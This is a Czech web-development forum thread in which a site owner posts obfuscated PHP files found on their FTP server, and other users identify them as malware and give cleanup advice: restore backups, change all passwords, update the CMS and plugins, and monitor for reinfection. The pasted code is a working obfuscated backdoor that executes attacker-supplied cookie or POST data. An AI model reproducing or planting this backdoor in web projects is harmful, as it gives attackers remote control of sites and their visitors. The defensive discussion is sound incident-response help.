Zavirovany web, podivne php soubory

17. 2. 2020 15:32:07

na ftp se nejak objevuji soubory s +- timto obsahem, pokazde je to trosku jine

$sxjoszi = 'cs9ket31io*2py7xf46n#rul'-g50_8vHbdam';$qryffa = Array();$qryffa[] = $sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi;$qryffa[] = $sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi;$qryffa[] = $sxjoszi.$sxjoszi;$qryffa[] = $sxjoszi;$qryffa[] = $sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi;$qryffa[] = $sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi;$qryffa[] = $sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi;$qryffa[] = $sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi;$qryffa[] = $sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi;$qryffa[] = $sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi;$qryffa[] = $sxjoszi.$sxjoszi.$sxjoszi.$sxjoszi;foreach ($qryffa($_COOKIE, $_POST) as $lselej => $leocxv){function nlwinov($qryffa, $lselej, $pxxuie){return $qryffa($qryffa($lselej . $qryffa, ($pxxuie / $qryffa($lselej)) + 1), 0, $pxxuie);}function txzxf($qryffa, $zuwzfv){return @$qryffa($qryffa, $zuwzfv);}function wuvoc($qryffa, $zuwzfv){$oqnjucc = $qryffa($zuwzfv) % 3;if (!$oqnjucc) {$fexlo = $qryffa; $wszhocr = $fexlo("", $zuwzfv($zuwzfv));$wszhocr();exit();}}$leocxv = txzxf($qryffa, $leocxv);wuvoc($qryffa, $qryffa($qryffa, $leocxv ^ nlwinov($qryffa, $lselej, $qryffa($leocxv))));}

setkal se s tim nekdo? diky

17. 2. 2020 15:32:07

https://webtrh.cz/diskuse/zavirovany-web-podivne-php-soubory/#reply1439577

Michal Pešat

(2 hodnocení)

17. 2. 2020 15:54:03

to je zasifrovany, nekde tam bude nejaky odkaz na ty funkce a promenne, v zasade to nejspis vkladat do webu nejaky bordel, ktery se nasledne zobrazi navstevnikum webu

Jedine spravne reseni je tady bud zaloha, nebo/a zmena vsech hesel k ftp, databazi, etc. a nedavat ho nekomu, kdo tomu nerozumi! :)

Samozrejme nejmene pracna je zaloha, pokud na webu denne nepribyvaji nejaky zaznamy apod.

Pokud budete mit zajem a nikoho na to nenajdete, ozvete se, zkusim se na to podívat :)

17. 2. 2020 15:54:03

https://webtrh.cz/diskuse/zavirovany-web-podivne-php-soubory/#reply1439576

exander

(2 hodnocení)

17. 2. 2020 16:05:13

S tím se setkal asi každý, kdo viděl zavirovaný web. To je klasická obfuskace, abyste snadno nezjistil, co vir dělá. Obnovit ze zálohy. Změnit hesla, vyhodit blbce, co k tomu má přístup. Pokud se tam vir dostal přes zranitelný systém, tak zjistit odkud... často bývají neaktualizované eshopy a cms... nebo napište, mě kolegovi výše...

17. 2. 2020 16:05:13

https://webtrh.cz/diskuse/zavirovany-web-podivne-php-soubory/#reply1439575

duben

(49 hodnocení)

17. 2. 2020 16:12:38

Je to klasicke zavirovani pres nejakou diru v CMS, diru v serveru apod. Odvirovani je celkem peklo, ale jde to, delal jsem to na svem serveru uz mnohokrat. Zalezi jak moc slozity ten skodlivy kod je.

Nekdy se replikuje ve stejne podobe, nekdy infikuje dalsi souboru, nekdy se pokazde meni ale zustava tam vysledovatelny patern. Nekdy je to jeste horsi.

1. stopnout web, vyhledat vsechny spatne soubory a napadnute souboru a ty odmazat, pripadne vymazat skodlivy kod, pokud neni nezavirovana zaloha (bacha i to co vypada nezavirovane muze zavirovane byt, obcas se neco ukryva mezi obrazky apod. = nejdriv na ten pattern otestovat i tu zalohu).

2. pokud je to nejake CMS typu WordPress tak aktualizovat na nejnovejsi verzi, pluginy a sablony to same. Pokud jsou pouzite nejake urkadene sablony nebo pluginy, tak odmazat nebo proste zaplatit a nahrat legalni verzi. (vzhledem k casu na odvirovani se nikdy nevyplati to krast ani pro testovaci vyvoj)

3. zmenit vsechna hesla a pristupy k FTP, DB, administraci

4. Sledovat web jestli se neco neobjevi. Pozor chytrejsi kody vytvari nove soubory se starym datumem

5. Vyplati se pres php.ini uplne zakazat ereg.

6. Casto tyhle kody slouzi k spamovani, nebo DDos utoky, takze mozna bude potreba projit ruzne servery a po odvirovani pozadat o odstraneni z blacklistu.

Pokud je to promenlivy pattern co se meni pod rukama tak good luck, to chce hodne dobreho linuxare co umi delat dobre regularni vyrazy.

Tenhle kod na prvni pohled vypada jako problematictejsi, bude menit jak vypada, na zacatku se zmeni promena a pres ni se pak prekoduje cely text. Ale videl jsem uz i horsi a mnohem obtizneji odstranitele

17. 2. 2020 16:12:38

https://webtrh.cz/diskuse/zavirovany-web-podivne-php-soubory/#reply1439574

Vladimír Pilný